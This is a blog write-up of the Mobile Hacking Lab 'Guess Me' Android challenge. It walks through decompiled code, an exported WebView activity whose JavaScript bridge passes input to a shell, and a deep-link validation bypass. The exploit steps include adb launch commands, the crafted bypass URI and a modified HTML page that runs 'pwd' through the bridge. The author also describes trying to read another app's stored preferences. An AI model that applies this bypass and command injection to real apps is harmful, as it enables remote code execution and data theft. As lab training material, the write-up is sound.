‹ MobiSec

Mobile Hacking Labs - Guess Me

Aug 02, 2024

Challenge Overview

The Guess Me challenge sheds light on a security flaw that allows command injection, leading to Remote Code Execution (RCE). The WebViewActivity of the application allows a bypass of the validated URIs, thus allowing attacker controlled URIs to be used.

Recon & Discovery

The deep link is embedded in the com.mobilehackinglab.guessme.WebviewActivity and that’s where I start. I started going throught the code while reading Android Documentation/Guides on webviews to understand them better. But first…

Running the application

The application launches the MainActivity with a ‘guess me’ game that I got tired playing after few attempts.

The activity also shows an imagine button that when clicked, opens a web view/new activity.

Reverse Engineering & Code Analysis

Decompiled the app and looked through the manifest. The target activity .WebViewActivity is exported and registered with a data filter:

        <activity
            android:name="com.mobilehackinglab.guessme.WebviewActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data
                    android:scheme="mhl"
                    android:host="mobilehackinglab"/>
            </intent-filter>
        </activity>

Looks like we have the scheme and host of the deep link.

The OnCreate method of the activity reveals some interesting details and methods.

  • JavaScript which is disabled by default, has been enabled. This is dangerous if not well used and exposes the application to different attack vectors, including XXS aka Cross Site Scripting.
  • (1) The loadAssetIndex(); is called and loads a html file in the assests (and this is what gets displayed when I click the image button in the MainActivity):
private final void loadAssetIndex() {
    WebView webView = this.webView;
    if (webView == null) {
        Intrinsics.throwUninitializedPropertyAccessException("webView");
        webView = null;
    }
    webView.loadUrl("file:///android_asset/index.html");
}
  • (2) A handleDeepLink(getIntent()); is also called which has two other intersting methods, isValidDeepLink(uri) & loadDeepLink(uri):
private final void handleDeepLink(Intent intent) {
        Uri uri = intent != null ? intent.getData() : null;
        if (uri != null) {
            if (isValidDeepLink(uri)) {
                loadDeepLink(uri);
            } else {
                loadAssetIndex();
            }
        }
    }

The deep link validation (isValidDeepLink) ensures that the scheme is mhl or https and the host is mobilehackinglab, however, it only checks if the url parameter ends with mobilehackinglab.com and this can abused to load attacker controlled URIs.

I test the deep link validator and truly, any URI anding with ‘mobilehackinglab.com’ gets loaded.

adb shell am start -W -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=https://www.mobilehackinglab.com"

Enters the most interesting part. The application adds a JavaScript Interface and starts a Runtime process:

Runtime.getRuntime().exec(Time);

The inteface “Android Bridge” gets a string (Time) and executes a shell with the input:

Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});

This is seen in the index.html file that’s loaded by the loadAssetIndex() method, getting the ‘date’ –command executed and results displayed:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>

<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

<script>

    function loadWebsite() {
       window.location.href = "https://www.mobilehackinglab.com/";
    }

    // Fetch and display the time when the page loads
    var result = AndroidBridge.getTime("date");
    var lines = result.split('\n');
    var timeVisited = lines[0];
    var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
    document.getElementById('result').innerText = fullMessage;

</script>

</body>
</html>

Exploitation

With JavaScript enabled and an interface added, my thoughts are that I could change the content of the script (command sent) and bypass the deep link validator to load a URI I control and get a script of my choice executed.

For my script, I copy and modify the index html file in the assets folder to have it print the working directoty (pwd) in which it executes from.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>

<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

<script>

    function loadWebsite() {
       window.location.href = "https://www.mobilehackinglab.com/";
    }

    // Fetch and display the time when the page loads
    var result = AndroidBridge.getTime("pwd");
    var lines = result.split('\n');
    var timeVisited = lines[0];
    var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
    document.getElementById('result').innerText = fullMessage;

</script>

</body>
</html>

I start a python server to serve the malicious script (hack_me.html) if requested by any client.

URI to bypass validation:

Here is where it got a bit interesting and challenging. How do you bypass the deep link URi validator which checks that the URL passed ends with “mobilehackinglab.com”? Easy if you control the mobilehackinglab.com domain or it’s subdomian, i.e. evil.mobilehackinglab.com.

After reading a few blogs (check resources section), I understood how that would be possible. The main thing is to understand how the uri.getQueryParameter method parses URIs.

The method gets everything from the first “?” and stops when it finds “#” which is used for segmentation.

https://mobilehackinglab?url=10.0.3.2/hack_me.html?mobilehackinglab.com

For such a URI, the method would parse and get the url parameter as “10.0.3.2/hack_me.html?mobilehackinglab.com”. That, while an incorrect URI, bypasses the deeplink validation.

The webview loads 10.0.3.2/hack_me.html?mobilehackinglab.com and requests10.0.3.2/hack_me.html. Exactly what we want to have the (juicy) script executed.

adb shell am start -n com.mobilehackinglab.guessme/.WebviewActivity -d https://mobilehackinglab?url=10.0.3.2/hack_me.html?mobilehackinglab.com

And there, it shows / revealing that the command pwd was injected and executed.

Done! But before we leave I decide to try something. Using this vulnerability, would an attacker be able to get data from other apps? I have an app (from another MHL challenge) and would like to get the contents of its sharedpref –in other cases, it could contain passwords or cached info (credit card no.s even!).

With this kind of injection you can do whatever kind of recon to find an ‘interesting’ file depending on the priveleges of the user you execute as.

Soon enough I hit a dead end because of the limited priveleges (r/w) that the user (app) has.

Conclusion

That was a hell of a challenge. Learnt how URIs are parsed and how to bypass them. I also read extensively and played around with binding JavaScript in Android. That’s what’s up!

Additional Resources


Catch my MHL Series which brings writeups of the Mobile Hacking Lab Android challenges, that are part of the CAPT course. The labs are good for preparation of the CAPT exam.

- - these writeups assume knowledge in basic android hacking methodolgy and familiarity with tools including adb, jadx(gui), Frida, etc